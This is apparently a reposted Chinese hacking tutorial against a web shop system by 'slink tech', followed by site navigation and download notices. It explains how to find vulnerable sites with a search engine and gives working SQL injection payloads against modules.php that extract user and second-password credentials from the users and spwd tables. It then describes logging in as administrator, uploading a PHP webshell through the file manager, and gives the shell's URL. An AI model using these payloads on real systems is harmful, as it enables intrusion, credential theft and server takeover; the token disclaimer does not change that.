打开baidu搜索

copyright c2005 by slink tech

modules.php这个文件存在注入

用union联合查询

modules.php?op=loadmodule&name=content&file=index&func=discuss&action=respect&Dcs_id=12 and 1=2 union select 1,2,3,user,5,pass,7,8,9 from users /*¤tpage=1

第二密碼,他是在spwd这个表中

and 1=2 union select 1,2,3,user,5,pass,7,8 from users
and 1=2 union select 1,2,3,user,5,pass,7,8 from spwd
and ord(mid(version(),1,1))>51 /*
order by 5

得到密码登陆

登入次數:436
會員層級:管理者

網站內容管理----檔案下載管理

選擇檔案--可以传我们的PHP马

OK了，下面怎么利用就看大家发挥了

http://demo.slink.com.tw/shop/upload/files/000003.php 这个就是马的地址了

很简单吧，教程就到这里吧

PS：

www.hxhack.com/bbs
最近开放注册，欢迎大家
我的论坛ID：hackwolf
有什么问题可以到坛子PM我

by：h4x5 我的博客：www.jj171.cn

注：不要恶意破坏他人的网站，一切后果自己负责！88

• [VIP专用软件 - 电信高速下载][非高级会员不可下载]
• [VIP专用软件 - 双线高速下载][非高级会员不可下载]

• ☉ Delphi编程教学系列（新世纪网安基地VIP教程）
• ☉ virtualpc中的linux如何连上Internet
• ☉ ProE 2.0安装视频
• ☉ 学会利用系统自身资源
• ☉ JSP开发之一Servlet基础
• ☉ 内网架设DNS服务器详解
• ☉ 心动吧桌面图之serv-U反弹
• ☉ 小解TTL的妙用
• ☉ 免费的网络电脑
• ☉ 略施小计吓跑不怀好意的菜鸟

• ☉ 由于私服程序的特殊性，它非常容易被杀毒误报，所以自2011年1月起本站所有软件都不在做杀毒查杀，请下载后自行检测查杀！
• ☉ 为了达到最快的下载速度，推荐使用 迅雷5 下载本站软件。
• ☉ 本站软件均为WinRAR3.7版本压缩，所以请一定升级到WinRAR3.7或最新版才能正常解压本站提供的软件!
• ☉ 如果您发现下载链接错误，或内容与分类不匹配，请点击报告错误。正确报错10个我们将送您VIP会员！
• ☉ 如发现本站软件需要解压密码，均为：www.9876543210sf.com